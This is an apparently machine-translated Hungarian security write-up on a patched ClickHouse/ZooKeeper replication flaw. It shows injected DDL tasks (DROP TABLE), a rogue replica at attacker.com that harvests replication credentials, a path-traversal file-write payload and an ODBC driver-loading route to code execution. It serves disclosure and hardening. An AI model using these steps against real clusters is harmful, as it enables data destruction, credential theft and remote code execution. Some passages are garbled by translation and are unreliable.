
Ez a cikk a ClickHouse replikációs protokoll egy nagyon sajátos sebezhetőségének történetét mutatja be, és azt is bemutatja, hogyan bővíthető a támadási felület.
A ClickHouse egy adatbázis nagy mennyiségű adat tárolására, leggyakrabban egynél több replikát használva. A ClickHouse fürtözése és replikációja a tetejére épül (ZK) és írási jogokat igényel.
Az alapértelmezett ZK-telepítés nem igényel hitelesítést, így a Kafka, Hadoop, ClickHouse konfigurálásához használt ZK-szerverek ezrei nyilvánosak.
A támadási felület csökkentése érdekében a ZooKeeper telepítésekor mindig konfigurálja a hitelesítést és az engedélyezést
Természetesen van néhány 0 napos Java deserializáció, de képzeljük el, hogy egy támadó olvasni és írni tud a ZooKeeper-be, amelyet a ClickHouse replikációhoz használnak.
Fürt módban konfigurálva a ClickHouse támogatja az elosztott lekérdezéseket , áthaladva a ZK-n - számukra csomópontok jönnek létre a lapon /clickhouse/task_queue/ddl.
Például létrehoz egy csomópontot /clickhouse/task_queue/ddl/query-0001 tartalommal:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']és ezt követően a teszttábla törlődik a host1 és host2 fürtkiszolgálókon. A DDL támogatja a CREATE/ALTER/DROP lekérdezések futtatását is.
Ijesztően hangzik? De honnan szerezhet szervercímeket a támadó?
az egyes táblák szintjén működik, így amikor ZK-ban hoznak létre egy táblát, egy szerver kerül meghatározásra, amely a metaadatok replikákkal való cseréjéért lesz felelős. Például egy kérés végrehajtásakor (a ZK-t be kell állítani, chXX - a replika neve, foobar - táblázat neve):
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;csomópontok jönnek létre oszlopok и metaadatok.
Tartalom /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: httpLehetséges adatokat egyesíteni ebből a fürtből? Igen, ha a replikációs port (TCP/9009) a szerveren chXX-address a tűzfal nem záródik be, és a replikáció hitelesítése nem lesz konfigurálva. Hogyan lehet megkerülni a hitelesítést?
A támadó új replikát hozhat létre a ZK-ban a tartalom egyszerű másolásával /clickhouse/tables/01-01/foobar/replicas/chXX és megváltoztatja a jelentését host.
Tartalom /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: httpEzután közölnie kell a többi replikával, hogy van egy új adatblokk a támadó szerverén, amelyet fel kell venniük – egy csomópont jön létre a ZK-ban. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monoton növekvő számláló, amelynek nagyobbnak kell lennie, mint az eseménynapló utolsó számlálója):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2ahol forrás_replika — a támadó előző lépésben létrehozott replikájának neve, block_id — adatblokk azonosító, kap - "get block" parancs (és ).
Ezután minden replika beolvas egy új eseményt a naplóban, és a támadó által vezérelt kiszolgálóra megy, hogy fogadjon egy adatblokkot (a replikációs protokoll bináris, a HTTP-n fut). szerver attacker.com kéréseket kap:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXXahol XXX a replikáció hitelesítési adatai. Bizonyos esetekben ez egy olyan fiók lehet, amely hozzáféréssel rendelkezik az adatbázishoz a fő ClickHouse protokollon és a HTTP protokollon keresztül. Mint láthatta, a támadási felület kritikusan nagy lesz, mert a replikációhoz használt ZooKeeper hitelesítés nélkül maradt.
Nézzük meg a replikából egy adatblokk beszerzésének funkcióját, teljes biztonsággal meg van írva, hogy minden replika megfelelő ellenőrzés alatt áll, és bizalom van közöttük.

replikáció feldolgozó kód
A függvény beolvassa a fájlok listáját, majd a nevüket, méretüket, tartalmukat, majd beírja a fájlrendszerbe. Érdemes külön leírni, hogyan tárolódnak az adatok a fájlrendszerben.
Számos alkönyvtár található benne /var/lib/clickhouse (alapértelmezett tárolási könyvtár a konfigurációs fájlból):
zászlók - könyvtár a felvételhez , adatvesztés utáni helyreállításhoz használják;
tmp — könyvtár az ideiglenes fájlok tárolására;
user_files — a kérésekben lévő fájlokkal végzett műveletek erre a könyvtárra korlátozódnak (INTO OUTFILE és mások);
metaadatok — sql fájlok táblázatleírásokkal;
preprocessed_configs - származtatott konfigurációs fájlok feldolgozása innen /etc/clickhouse-server;
Az információk szétdarabolódása - a tényleges könyvtár magával az adatokkal, ebben az esetben minden adatbázishoz egyszerűen létrejön egy külön alkönyvtár (pl. /var/lib/clickhouse/data/default).
Minden táblához létrejön egy alkönyvtár az adatbázis-könyvtárban. Minden oszlop külön fájl attól függően . Például egy asztalhoz foobartámadó által létrehozott, a következő fájlok jönnek létre:
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2A replika elvárja, hogy azonos nevű fájlokat kapjon egy adatblokk feldolgozása során, és semmilyen módon nem érvényesíti azokat.
A figyelmes olvasó valószínűleg már hallott a file_name nem biztonságos összefűzéséről egy függvényben WriteBufferFromFile. Igen, ez lehetővé teszi a támadó számára, hogy tetszőleges tartalmat írjon az FS bármely, felhasználói jogokkal rendelkező fájljába clickhouse. Ehhez a támadó által vezérelt replikának a következő választ kell adnia a kérésre (sortörések kerültek hozzáadásra a könnyebb érthetőség érdekében):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeperés összefűzés után ../../../../../../../../../tmp/pwned a fájl meg lesz írva /tmp/pwned tartalommal hellofrom zookeeper.
Számos lehetőség van a fájlírási képesség távoli kódvégrehajtássá (RCE) való átalakítására.
Külső szótárak az RCE-ben
A régebbi verziókban a ClickHouse beállításokkal rendelkező könyvtárat felhasználói jogokkal tárolták clickhouse alapértelmezett. A beállítási fájlok XML-fájlok, amelyeket a szolgáltatás beolvas az indításkor, majd gyorsítótárazza /var/lib/clickhouse/preprocessed_configs. Amikor változások történnek, a rendszer újraolvassa azokat. Ha van hozzáférése /etc/clickhouse-server a támadó létrehozhatja a sajátját futtatható típust, majd futtasson tetszőleges kódot. A ClickHouse jelenlegi verziói alapértelmezés szerint nem biztosítanak jogokat, de ha a szervert fokozatosan frissítenék, az ilyen jogok megmaradhatnak. Ha ClickHouse klasztert támogat, ellenőrizze a beállítások könyvtár jogait, annak a felhasználóé kell lennie root.
ODBC az RCE-hez
Egy csomag telepítésekor létrejön egy felhasználó clickhouse, de a saját könyvtára nem jön létre /nonexistent. Külső szótárak használatakor vagy egyéb okokból azonban az adminisztrátorok létrehoznak egy könyvtárat /nonexistent és adja meg a felhasználónak clickhouse hozzáférést írni hozzá (SSZB! kb. fordító).
ClickHouse támogatja és csatlakozhat más adatbázisokhoz. Az ODBC-ben megadhatja az adatbázis-illesztőprogram-könyvtár elérési útját (.so). A ClickHouse régebbi verziói lehetővé tették ezt közvetlenül a kéréskezelőben, de most a kapcsolati karakterlánc szigorúbb ellenőrzése lett hozzáadva odbc-bridge, így a kérésből már nem lehet megadni az illesztőprogram elérési útját. De írhat-e egy támadó a saját könyvtárba a fent leírt biztonsági réssel?
Hozzunk létre egy fájlt ~/.odbc.ini ilyen tartalommal:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.somajd indításkor SELECT * FROM odbc('DSN=lalala', 'test', 'test'); a könyvtár betöltődik test.so és RCE-t kapott (köszönöm a borravalóért).
Ezeket és más biztonsági réseket a ClickHouse 19.14.3-as verziójában javították. Vigyázzon ClickHouse-jára és ZooKeepereire!
Forrás: will.com
